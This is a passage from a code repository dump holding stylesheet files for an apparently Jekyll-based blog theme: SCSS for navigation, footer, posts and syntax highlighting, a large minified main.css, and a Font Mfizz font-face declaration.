40 | &:not(:last-child) {
41 | margin-right: 20px;
42 | }
43 | }
44 |
45 | @include media-query($on-palm) {
46 | position: absolute;
47 | top: 9px;
48 | right: $spacing-unit / 2;
49 | background-color: $background-color;
50 | border: 1px solid $grey-color-light;
51 | border-radius: 5px;
52 | text-align: right;
53 |
54 | .menu-icon {
55 | display: block;
56 | float: right;
57 | width: 36px;
58 | height: 26px;
59 | line-height: 0;
60 | padding-top: 10px;
61 | text-align: center;
62 |
63 | > svg path {
64 | fill: $grey-color-dark;
65 | }
66 | }
67 |
68 | .trigger {
69 | clear: both;
70 | display: none;
71 | }
72 |
73 | &:hover .trigger {
74 | display: block;
75 | padding-bottom: 5px;
76 | }
77 |
78 | .page-link {
79 | display: block;
80 | padding: 5px 10px;
81 |
82 | &:not(:last-child) {
83 | margin-right: 0;
84 | }
85 | margin-left: 20px;
86 | }
87 | }
88 | }
89 |
90 |
91 |
92 | /**
93 | * Site footer
94 | */
95 | .site-footer {
96 | border-top: 1px solid $grey-color-light;
97 | padding: $spacing-unit 0;
98 | }
99 |
100 | .footer-heading {
101 | font-size: 18px;
102 | margin-bottom: $spacing-unit / 2;
103 | }
104 |
105 | .contact-list,
106 | .social-media-list {
107 | list-style: none;
108 | margin-left: 0;
109 | }
110 |
111 | .footer-col-wrapper {
112 | font-size: 15px;
113 | color: $grey-color;
114 | margin-left: -$spacing-unit / 2;
115 | @extend %clearfix;
116 | }
117 |
118 | .footer-col {
119 | float: left;
120 | margin-bottom: $spacing-unit / 2;
121 | padding-left: $spacing-unit / 2;
122 | }
123 |
124 | .footer-col-1 {
125 | width: -webkit-calc(35% - (#{$spacing-unit} / 2));
126 | width: calc(35% - (#{$spacing-unit} / 2));
127 | }
128 |
129 | .footer-col-2 {
130 | width: -webkit-calc(20% - (#{$spacing-unit} / 2));
131 | width: calc(20% - (#{$spacing-unit} / 2));
132 | }
133 |
134 | .footer-col-3 {
135 | width: -webkit-calc(45% - (#{$spacing-unit} / 2));
136 | width: calc(45% - (#{$spacing-unit} / 2));
137 | }
138 |
139 | @include media-query($on-laptop) {
140 | .footer-col-1,
141 | .footer-col-2 {
142 | width: -webkit-calc(50% - (#{$spacing-unit} / 2));
143 | width: calc(50% - (#{$spacing-unit} / 2));
144 | }
145 |
146 | .footer-col-3 {
147 | width: -webkit-calc(100% - (#{$spacing-unit} / 2));
148 | width: calc(100% - (#{$spacing-unit} / 2));
149 | }
150 | }
151 |
152 | @include media-query($on-palm) {
153 | .footer-col {
154 | float: none;
155 | width: -webkit-calc(100% - (#{$spacing-unit} / 2));
156 | width: calc(100% - (#{$spacing-unit} / 2));
157 | }
158 | }
159 |
160 |
161 |
162 | /**
163 | * Page content
164 | */
165 | .page-content {
166 | padding: $spacing-unit 0;
167 | }
168 |
169 | .page-heading {
170 | font-size: 20px;
171 | }
172 |
173 | .post-list {
174 | margin-left: 0;
175 | list-style: none;
176 |
177 | > li {
178 | margin-bottom: $spacing-unit;
179 | }
180 | }
181 |
182 | .post-meta {
183 | font-size: $small-font-size;
184 | color: $grey-color;
185 | }
186 |
187 | .post-link {
188 | display: block;
189 | font-size: 24px;
190 | }
191 |
192 |
193 |
194 | /**
195 | * Posts
196 | */
197 | .post-header {
198 | margin-bottom: $spacing-unit;
199 | }
200 |
201 | .post-title {
202 | font-size: 42px;
203 | letter-spacing: -1px;
204 | line-height: 1;
205 |
206 | @include media-query($on-laptop) {
207 | font-size: 36px;
208 | }
209 | }
210 |
211 | .post-content {
212 | margin-bottom: $spacing-unit;
213 |
214 | h2 {
215 | font-size: 32px;
216 |
217 | @include media-query($on-laptop) {
218 | font-size: 28px;
219 | }
220 | }
221 |
222 | h3 {
223 | font-size: 26px;
224 |
225 | @include media-query($on-laptop) {
226 | font-size: 22px;
227 | }
228 | }
229 |
230 | h4 {
231 | font-size: 20px;
232 |
233 | @include media-query($on-laptop) {
234 | font-size: 18px;
235 | }
236 | }
237 | }
238 |
--------------------------------------------------------------------------------
/_sass/minima/_syntax-highlighting.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Syntax highlighting styles
3 | */
4 | .highlight {
5 | background: #fff;
6 | @extend %vertical-rhythm;
7 |
8 | .highlighter-rouge & {
9 | background: #eef;
10 | }
11 |
12 | .c { color: #998; font-style: italic } // Comment
13 | .err { color: #a61717; background-color: #e3d2d2 } // Error
14 | .k { font-weight: bold } // Keyword
15 | .o { font-weight: bold } // Operator
16 | .cm { color: #998; font-style: italic } // Comment.Multiline
17 | .cp { color: #999; font-weight: bold } // Comment.Preproc
18 | .c1 { color: #998; font-style: italic } // Comment.Single
19 | .cs { color: #999; font-weight: bold; font-style: italic } // Comment.Special
20 | .gd { color: #000; background-color: #fdd } // Generic.Deleted
21 | .gd .x { color: #000; background-color: #faa } // Generic.Deleted.Specific
22 | .ge { font-style: italic } // Generic.Emph
23 | .gr { color: #a00 } // Generic.Error
24 | .gh { color: #999 } // Generic.Heading
25 | .gi { color: #000; background-color: #dfd } // Generic.Inserted
26 | .gi .x { color: #000; background-color: #afa } // Generic.Inserted.Specific
27 | .go { color: #888 } // Generic.Output
28 | .gp { color: #555 } // Generic.Prompt
29 | .gs { font-weight: bold } // Generic.Strong
30 | .gu { color: #aaa } // Generic.Subheading
31 | .gt { color: #a00 } // Generic.Traceback
32 | .kc { font-weight: bold } // Keyword.Constant
33 | .kd { font-weight: bold } // Keyword.Declaration
34 | .kp { font-weight: bold } // Keyword.Pseudo
35 | .kr { font-weight: bold } // Keyword.Reserved
36 | .kt { color: #458; font-weight: bold } // Keyword.Type
37 | .m { color: #099 } // Literal.Number
38 | .s { color: #d14 } // Literal.String
39 | .na { color: #008080 } // Name.Attribute
40 | .nb { color: #0086B3 } // Name.Builtin
41 | .nc { color: #458; font-weight: bold } // Name.Class
42 | .no { color: #008080 } // Name.Constant
43 | .ni { color: #800080 } // Name.Entity
44 | .ne { color: #900; font-weight: bold } // Name.Exception
45 | .nf { color: #900; font-weight: bold } // Name.Function
46 | .nn { color: #555 } // Name.Namespace
47 | .nt { color: #000080 } // Name.Tag
48 | .nv { color: #008080 } // Name.Variable
49 | .ow { font-weight: bold } // Operator.Word
50 | .w { color: #bbb } // Text.Whitespace
51 | .mf { color: #099 } // Literal.Number.Float
52 | .mh { color: #099 } // Literal.Number.Hex
53 | .mi { color: #099 } // Literal.Number.Integer
54 | .mo { color: #099 } // Literal.Number.Oct
55 | .sb { color: #d14 } // Literal.String.Backtick
56 | .sc { color: #d14 } // Literal.String.Char
57 | .sd { color: #d14 } // Literal.String.Doc
58 | .s2 { color: #d14 } // Literal.String.Double
59 | .se { color: #d14 } // Literal.String.Escape
60 | .sh { color: #d14 } // Literal.String.Heredoc
61 | .si { color: #d14 } // Literal.String.Interpol
62 | .sx { color: #d14 } // Literal.String.Other
63 | .sr { color: #009926 } // Literal.String.Regex
64 | .s1 { color: #d14 } // Literal.String.Single
65 | .ss { color: #990073 } // Literal.String.Symbol
66 | .bp { color: #999 } // Name.Builtin.Pseudo
67 | .vc { color: #008080 } // Name.Variable.Class
68 | .vg { color: #008080 } // Name.Variable.Global
69 | .vi { color: #008080 } // Name.Variable.Instance
70 | .il { color: #099 } // Literal.Number.Integer.Long
71 | }
72 |
--------------------------------------------------------------------------------
/assets/css/main.css:
--------------------------------------------------------------------------------
1 | html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}a{-webkit-tap-highlight-color:rgba(0,0,0,0)}@font-face{font-family:'Open Sans';font-style:normal;font-weight:300;src:local('Open Sans Light'),local('OpenSans-Light'),url("https://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTRampu5_7CjHW5spxoeN3Vs.woff2") format('woff2')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:800;src:local('Open Sans Extrabold'),local('OpenSans-Extrabold'),url("https://fonts.gstatic.com/s/opensans/v10/EInbV5DfGHOiMmvb1Xr-hiYtBUPDK3WL7KRKS_3q7OE.woff2") format('woff2')}h1,h2,h3,h4{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}@-webkit-keyframes animateGradient{0%{background-position:100% 90%}99%{background-position:0% 90%}100%{background-position:0% 90%;background-size:200% 7px}}@keyframes animateGradient{0%{background-position:100% 90%}99%{background-position:0% 90%}100%{background-position:0% 90%;background-size:200% 7px}}.icons-home{text-align:center;}.icons-home a{display:inline-block;padding:.938rem;margin:.125rem;border-radius:50%;border:.125rem solid #fff;line-height:0;transition:all .7s;}.icons-home a .icon{fill:#fff;width:18px;height:18px;}@media only screen and (min-width:37.5rem){.icons-home a .icon{width:30px;height:30px}}.icons-home a:hover{background:#fff;}.icons-home a:hover .icon{fill:#93a1a1}.down{position:absolute;bottom:50px;width:100%;display:block;text-align:center;}.down .icon{position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);width:100px;height:100px;fill:#fff;-webkit-animation:pulse 1.3s infinite;animation:pulse 1.3s infinite}.icon-arrow-menu{vertical-align:bottom;width:18px;height:15px}*,*:before,*:after{box-sizing:border-box}body{left:0;right:0;margin:auto}a,aside,.overlay,body{transition:all .25s ease}a.slideButton,.dosearch{position:absolute;display:block;width:40px;height:40px;top:10px;z-index:31}.slideButton{left:10px}.dosearch{right:10px;background:#74479c;border-radius:.188rem;padding:.125rem .188rem}.icon-menu{cursor:pointer;padding:.313rem;border-radius:.188rem;background:#74479c;width:2.5rem;height:2.5rem;fill:#fff}.icon-search{width:2.188rem;height:2.188rem}.overlay{cursor:pointer}#close{display:none}body > aside{padding:2.688rem;width:21.688rem;height:100%;position:fixed;background-color:#f8f8f8;overflow-y:auto;top:0;}body > aside a{text-decoration:none}body > aside h1{text-transform:uppercase;font-size:1.625rem;display:table;}body > aside h1 > *{display:table-cell;vertical-align:middle}body > aside h1 > object{margin-right:.625rem}body > aside p.license{position:fixed;bottom:2.5rem;color:#ababab;width:12.5rem;}body > aside p.license .creativecommons{display:block;margin-bottom:1.25rem}body > aside p.license i.fa-heart{color:#ee7373}body > aside p.license a{color:#ababab;text-decoration:none;}body > aside p.license a:hover{color:#74479c}body > aside ul.languages{list-style:none;margin-left:0;padding-left:0;margin-top:2.5rem;}body > aside ul.languages h2{color:#9a9a9a;font-size:.875rem;text-transform:uppercase;font-weight:bold}body > aside ul.languages li{line-height:1.875rem}body > aside ul.languages a{text-decoration:none;color:#ababab;}body > aside ul.languages a.selected{color:#333}body > aside ul.languages li.contribute{margin-top:.625rem;}body > aside ul.languages li.contribute a{color:#74479c}a.slideButton.slide{pointer-events:none}.overlay{position:fixed;width:100%;height:100%;bottom:0;left:0;pointer-events:none;background:transparent;z-index:30;}.overlay.slide{pointer-events:auto;bottom:162px;background:rgba(0,0,0,0.6)}input[type="search"]{-ms-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.search-wrapper{-webkit-transform:translateY(-400px);transform:translateY(-400px);z-index:9999;}.search-wrapper.active{-webkit-transform:translateY(0);transform:translateY(0)}.search-form{position:relative;top:0;-webkit-transform:translateX(-200px);transform:translateX(-200px);z-index:9999;width:100%;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";filter:alpha(opacity=0);opacity:0;transition:all 200ms 100ms cubic-bezier(0,.6,.4,1);}.search-form h4{margin:.625rem 0}.search-form .search-field{width:100%;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.625rem;color:#fff;background-color:transparent;border:0;border-bottom:1px solid #fff;border-radius:0;box-shadow:none;background-clip:padding-box;-webkit-appearance:none;}.search-form .search-field:focus{outline:0;box-shadow:none}.search-form.active{top:0;-webkit-transform:translateX(0);transform:translateX(0);-ms-filter:none;-webkit-filter:none;filter:none;opacity:1}.search-form.hidden{display:none}.search-form .icon-remove-sign{position:absolute;top:0;right:0;z-index:1;display:block;fill:#fff;width:30px;height:30px;text-align:center;cursor:pointer}.search-form::-webkit-input-placeholder{font-size:1.625rem}.search-form .search-field::-webkit-search-decoration,.search-form .search-field::-webkit-search-cancel-button,.search-form .search-field::-webkit-search-results-button,.search-form .search-field::-webkit-search-results-decoration{display:none}.search-form .search-list{position:absolute;width:100%;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.search-form h4,.search-form li,.search-form p,.search-form a,.search-form a:hover{color:#fff}body.search-overlay{overflow:hidden;}body.search-overlay:after{position:absolute;top:0;left:0;z-index:9001;width:100%;height:100%;min-height:100%;background-color:rgba(0,0,0,0.6);content:'';}@media only screen and (max-width:37.5rem){body.search-overlay:after{background-color:#93a1a1}}.search-wrapper{position:absolute;top:50px;width:100%;padding-right:10%;padding-left:10%;}.search-wrapper *zoom 1:after,.search-wrapper *zoom 1:before{display:table;line-height:0;content:""}.search-wrapper *zoom 1:after{clear:both}.search-wrapper:before,.search-wrapper:after{display:table;line-height:0;content:""}.search-list{padding:0;margin:0;list-style-type:none;}.search-list .entry-date{float:right;display:none;font-size:14px;text-transform:uppercase}.search-list a{text-decoration:none;display:block;padding:.938rem 0;width:100%;border-bottom:1px solid #fff;}.search-list a:hover{color:#b3b3b3;border-bottom:1px solid #b3b3b3}@media only screen and (min-width:48em){.search-wrapper{top:100px}.search-list .entry-date{display:inline}}.tags{margin-top:1.875rem;}.tags a{font-size:1.25rem;color:#fff;display:inline-block;border:1px solid #fff;border-radius:.313rem;padding:.25rem .625rem;margin-right:.125rem;margin-bottom:.5rem;text-decoration:none;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;}.tags a:hover{background-color:#485252;border:1px solid #485252}.tags a.selected{background-color:#485252;border:1px solid #485252}.img-rounded{border-radius:50%}.aboutme .recent{list-style:none}.aboutme .post-title:before{content:""}.aboutme h2:hover{background-color:#9eaaaa}.aboutme li h3{font-size:1.25rem;margin-bottom:7px;position:relative;}.aboutme li h3:before{content:"|>";font-size:1.25rem;color:#000;position:absolute;left:-10px;transition:all .2s}.aboutme li h3:hover:before{-webkit-transform:translateX(-10px);transform:translateX(-10px)}html,body{height:100%;font-family:sans-serif;color:#333}main,.header-post{background:#93a1a1;height:100%}main{margin-left:25rem;background-color:#fff;padding-top:1.25rem;padding-left:2.5rem;}main .content{padding:20px}main li{margin:0;list-style-type:none}main .person img{width:130px;height:130px;border-radius:100%;margin-bottom:80px}main ul.recent{padding-left:0;}main ul.recent h2{color:#74479c;font-weight:bold;text-transform:uppercase;font-size:1rem;margin-bottom:1.875rem}main ul.recent li a{text-decoration:none;color:#333;}main ul.recent li a:hover h4{color:#74479c;letter-spacing:.031rem}main ul.recent li a h4{font-weight:normal}main ul.recent li a i{margin-right:.625rem}main .site-title{font-size:1.875rem;line-height:1;margin-top:-80px;display:block;letter-spacing:9px;}@media only screen and (min-width:37.5rem){main .site-title{letter-spacing:16px;margin-bottom:0;font-size:1.25rem}}main .site-description{font-size:1.25rem;display:block;margin:1.875rem 0;}@media only screen and (min-width:37.5rem){main .site-description{font-size:2.5rem}}main h3.heroe{color:#777088;max-width:37.5rem;font-size:1.875rem;font-weight:300;margin-bottom:3.75rem}.rectangle{display:block;width:207px;border-radius:5px;position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#74479c;text-align:center;color:#fff;font-weight:bold}.header-post{height:62px;background:transparent;}.header-post #open{position:fixed;background:transparent}.header-post p{margin:0;padding-top:23px;text-align:center;color:#fff}.page_posts #search{background:transparent;}.page_posts #search svg{background-color:transparent}.post-item{text-align:left;padding:.313rem 1.25rem;position:relative;}.post-item .content{*zoom:1;}.post-item .content:before,.post-item .content:after{content:'';display:table}.post-item .content:after{clear:both}@media only screen and (max-width:37.5rem){.post-item .content{text-align:center;display:block;clear:both;float:none;width:100%;margin-left:auto;margin-right:auto}.post-item .content:first-child{margin-left:auto}.post-item .content:last-child{margin-right:auto}}.post-item .content a{text-decoration:none;border:none}@media only screen and (min-width:37.5rem){.post-item .content a{*zoom:1;float:left;clear:none;text-align:inherit;width:69.1%;margin-left:0%;margin-right:3%}.post-item .content a:before,.post-item .content a:after{content:'';display:table}.post-item .content a:after{clear:both}.post-item .content a:last-child{margin-right:0%}}.post-item .content .date{color:#93a1a1}.post-item .content .post-title{color:#c7b288;position:relative;padding:0;font-size:1rem;margin:0;text-align:center;}.post-item .content .post-title.selected{background:#93a1a1}.post-item .content .post-title:hover{background-color:#9eaaaa}@media only screen and (min-width:37.5rem){.post-item .content .post-title{text-align:left;margin-left:-.625rem;display:initial;font-size:1.063rem;text-decoration:none}}.post{margin-left:25rem;margin-right:1.875rem;}@media only screen and (min-width:90.625rem){.post{margin-left:26.688rem;max-width:48.75rem}}.post .post-title{font-size:1.875rem;margin-top:0;margin-bottom:0}.post .time{text-align:center;margin-top:30px;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.post .music-read{text-align:center}.post-content{padding:1.875rem 0;}.post-content img{max-width:100%;margin:1.875rem auto;display:block}.post-content p,.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content ul,.post-content ol,.post-content .tags,.post-content iframe{max-width:75rem;padding:0;margin:0 auto 1.875rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.125rem;line-height:2;letter-spacing:.01rem;}@media only screen and (min-width:37.5rem){.post-content p,.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content ul,.post-content ol,.post-content .tags,.post-content iframe{font-size:1.25rem}}.post-content p,.post-content li{color:#333;}.post-content p code,.post-content li code{color:#615576}.post-content a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#93a1a1;text-decoration:none;border-bottom:2px solid #93a1a1;}.post-content a:hover{color:#74479c;border-bottom-color:#74479c}.post-content iframe{margin-top:1.875rem;width:100%}.post-content #twitter-widget-0{margin:auto !important}.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.post-content h1{font-size:1.875rem;line-height:1.4;font-weight:normal;color:#74479c;margin-top:3.75rem}.post-content h2{font-size:1.625rem;line-height:1.4;font-weight:bold}.post-content h3{font-size:1.5rem;line-height:1.4}.post-content ul,.post-content ol{padding-left:2.5rem}.post-content ul.post-list{padding:0;}@media only screen and (max-width:37.5rem){.post-content ul.post-list{padding:0 1.25rem}}.post-content blockquote{border-left:.313rem solid #93a1a1;padding:0 1.25rem;margin:3.125rem 1.25rem;}.post-content blockquote p{color:rgba(0,0,0,0.6);margin:0;}@media only screen and (max-width:37.5rem){.post-content blockquote p{font-size:1.125rem;line-height:1.5;padding:0}}.post-content hr{*zoom:1;width:auto;max-width:47.5rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border:1px solid #ababab;margin:50px auto}.post-content hr:before,.post-content hr:after{content:'';display:table}.post-content hr:after{clear:both}.post-content .about_perfil{width:200px}.post-content pre{padding:1.25rem}.post-content .highlighter-rouge{margin-bottom:1.875rem}.post-content .asciicast{padding:0 1.25rem !important;margin:0 auto 1.875rem !important}.post-content iframe{padding:0 1.25rem !important;margin:0 auto 1.875rem !important}.share{border-top:1px solid #ababab;padding-top:1.25rem;width:100%;margin-bottom:3.125rem;}.share > div{display:table;}.share > div > *{display:table-cell;vertical-align:middle}.share h3{color:#9a9a9a;font-size:1.25rem;text-transform:uppercase;font-weight:normal;padding-right:1.25rem}.share svg{margin:.938rem;width:35px;height:35px}.share a{text-decoration:none;}.share a:hover svg{fill:#93a1a1}table{margin:3.125rem auto;}@media only screen and (max-width:37.5rem){table{display:none}}table th,table td{border:.125rem solid #ccc;padding:.313rem}.tag-title{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:2.25rem;margin-top:3.75rem;*zoom:1;width:auto;max-width:50rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;}.tag-title:before,.tag-title:after{content:'';display:table}.tag-title:after{clear:both}@media only screen and (max-width:37.5rem){.tag-title{font-size:1.75rem;margin-top:1.25rem;padding:0 1.25rem}}.post-list{list-style:none;margin:1.563rem auto;}@media only screen and (max-width:37.5rem){.post-list{padding:0 1.25rem}}.post-list a{display:block;border-bottom:1px solid #9a9a9a;padding:.625rem 0;text-decoration:none;transition:all .5s;}.post-list a:hover{color:#485252;border-bottom:1px solid #485252}.post-list .entry-date{float:right;}@media only screen and (max-width:37.5rem){.post-list .entry-date{display:none}}.page{margin-left:25rem;margin-right:1.875rem;}@media only screen and (min-width:90.625rem){.page{margin-left:26.688rem;max-width:48.75rem}}.page h1:before,.page h2:before,.page h3:before{color:#93a1a1;font-weight:300;margin-right:10px}.page h1{margin:0;font-size:1.875rem;}@media only screen and (min-width:37.5rem){.page h1{font-size:4.375rem}}.page h1:before{color:#93a1a1;font-size:2.5rem}.page .page-title{text-align:center;margin-bottom:1.25rem}.page .page-title:before{content:""}.page .time{text-align:center;margin-top:30px;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.page .music-read{text-align:center}.page-content{padding:1rem 0;}.page-content img{max-width:100%;margin:1.875rem auto;display:block}.page-content p,.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content ul,.page-content ol,.page-content .tags,.page-content iframe{max-width:75rem;padding:0 1.25rem;margin:0 auto 1.875rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.125rem;line-height:2;letter-spacing:.01rem;}@media only screen and (min-width:37.5rem){.page-content p,.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content ul,.page-content ol,.page-content .tags,.page-content iframe{font-size:1.25rem}}.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.page-content h1{font-size:1.875rem;line-height:1.4;font-weight:normal;color:#74479c}.page-content h2{font-size:1.625rem;line-height:1.4;font-weight:bold}.page-content h3{font-size:1.5rem;line-height:1.4}.page-content p,.page-content li{color:#333;}.page-content p code,.page-content li code{color:#615576}.page-content a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#93a1a1;text-decoration:none;border-bottom:2px solid #93a1a1;}.page-content a:hover{background-color:#9eaaaa}.page-content iframe{margin-top:1.875rem;width:100%}.page-content #twitter-widget-0{margin:auto !important}.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.page-content h1{font-size:1.875rem;line-height:1.4;}@media only screen and (min-width:37.5rem){.page-content h1{font-size:2.813rem}}.page-content h2{font-size:1.375rem;line-height:1.4;}.page-content h2:before{content:'##';font-size:1.563rem}@media only screen and (min-width:37.5rem){.page-content h2{font-size:2.188rem}}.page-content h3{font-size:1.125rem;line-height:1.4;}@media only screen and (min-width:37.5rem){.page-content h3{font-size:1.563rem}}.page-content ul,.page-content ol{padding-left:2.5rem}.page-content ul.page-list{padding:0;}@media only screen and (max-width:37.5rem){.page-content ul.page-list{padding:0 1.25rem}}.page-content blockquote{*zoom:1;width:auto;max-width:45.625rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border-left:.313rem solid #93a1a1;padding:0 1.875rem;margin:3.125rem auto;}.page-content blockquote:before,.page-content blockquote:after{content:'';display:table}.page-content blockquote:after{clear:both}@media only screen and (max-width:37.5rem){.page-content blockquote{width:70%}}.page-content blockquote p{color:rgba(0,0,0,0.6);margin:0;}@media only screen and (max-width:37.5rem){.page-content blockquote p{font-size:1.125rem;line-height:1.5;padding:0}}.page-content hr{*zoom:1;width:auto;max-width:47.5rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border:1px solid #ababab;margin:50px auto}.page-content hr:before,.page-content hr:after{content:'';display:table}.page-content hr:after{clear:both}.page-content .about_perfil{width:200px}.page-content pre{padding:1.25rem}.page-content .asciicast{padding:1.25rem !important}pre{width:100%;padding:1.25rem 0;color:#fff;margin:1.875rem 0;font-size:.875rem;}@media only screen and (min-width:37.5rem){pre{font-size:1rem;padding:1.25rem 0;margin:1.25rem 0}}@media only screen and (max-width:37.5rem){pre code{overflow-x:scroll}}pre span{line-height:1.5rem;font-family:'Monaco','Consolas','Menlo',monospace}.highlight{white-space:pre;overflow:auto;word-wrap:normal;border-radius:0;padding:20px;background-color:#073642;color:#c1c2c3;margin:0;margin-bottom:30px}.highlight .hll{background-color:#ffc}.highlight .gd{color:#2e3436;background-color:#0e1416}.highlight .gr{color:#eeeeec;background-color:#c00}.highlight .gi{color:#babdb6;background-color:#1f2b2d}.highlight .go{color:#2c3032;background-color:#2c3032}.highlight .kt{color:#e3e7df}.highlight .ni{color:#888a85}.highlight .c,.highlight .cm,.highlight .c1,.highlight .cs{color:#8d9684}.highlight .err,.highlight .g,.highlight .l,.highlight .n,.highlight .x,.highlight .p,.highlight .ge,.highlight .gp,.highlight .gs,.highlight .gt,.highlight .ld,.highlight .s,.highlight .nc,.highlight .nd,.highlight .ne,.highlight .nl,.highlight .nn,.highlight .nx,.highlight .py,.highlight .ow,.highlight .w,.highlight .sb,.highlight .sc,.highlight .sd,.highlight .s2,.highlight .se,.highlight .sh,.highlight .si,.highlight .sx,.highlight .sr,.highlight .s1,.highlight .ss,.highlight .bp{color:#c1c2c3}.highlight .k,.highlight .kc,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,.highlight .nt{color:#729fcf}.highlight .cp,.highlight .gh,.highlight .gu,.highlight .na,.highlight .nf{color:#e9a94b}.highlight .m,.highlight .nb,.highlight .no,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo,.highlight .il{color:#8ae234}.highlight .o{color:#989daa}.highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi{color:#fff}.author{background:#ababab;display:table;width:100%;padding:2.5rem 0;margin:2.5rem 0;}@media only screen and (min-width:37.5rem){.author{padding:3.125rem 0}}.author .details{margin:auto;max-width:50rem;padding:0 1.25rem;}@media only screen and (max-width:37.5rem){.author .details{text-align:center}}.author img{border-radius:50%;display:block;margin:auto;}@media only screen and (min-width:37.5rem){.author img{float:left;margin-right:3.125rem}}.author .def{color:#333;font-size:1.125rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;margin:.625rem;}@media only screen and (min-width:37.5rem){.author .def{margin:0;padding-top:1.563rem}}.author .name{margin:0;}.author .name a{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal;text-decoration:none;color:#000;font-size:1.875rem;}.author .name a:hover{color:#93a1a1}@media only screen and (min-width:37.5rem){.author .name a{font-size:2.813rem}}.author .desc{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;margin:.625rem;font-size:1rem;}@media only screen and (min-width:37.5rem){.author .desc{font-size:1.25rem}}.author .email{text-decoration:none;color:#93a1a1}.comments{*zoom:1;width:auto;max-width:50rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;padding:0 1.25rem;}.comments:before,.comments:after{content:'';display:table}.comments:after{clear:both}.comments h3{margin:0 0 1.875rem;font-size:1.875rem}footer{background:#073642;padding:1.563rem 0;margin-top:100px;clear:both;color:#fff;}footer p,footer a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#fff;text-align:center;margin:0}
--------------------------------------------------------------------------------
/assets/font-mfizz.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Mfizz 2.4.1
3 | * Copyright 2013-2017 Fizzed, Inc.
4 | * MIT License
5 | *
6 | * Project: http://fizzed.com/oss/font-mfizz
7 | *
8 | * The font designed for technology and software geeks representing programming
9 | * languages, operating systems, software engineering, and technology.
10 | *
11 | * Fizzed, Inc.
12 | * Web: http://fizzed.com/
13 | * Twitter: http://twitter.com/fizzed_inc
14 | */
15 |
16 | @font-face {
17 | font-family: "FontMfizz";
18 | src: url("./font-mfizz.eot");
19 | src: url("./font-mfizz.eot?#iefix") format("embedded-opentype"),
20 | url("./font-mfizz.woff") format("woff"),
21 | url("./font-mfizz.ttf") format("truetype"),
22 | url("./font-mfizz.svg#font-mfizz") format("svg");
23 | font-weight: normal;
24 | font-style: normal;
25 | }
26 |
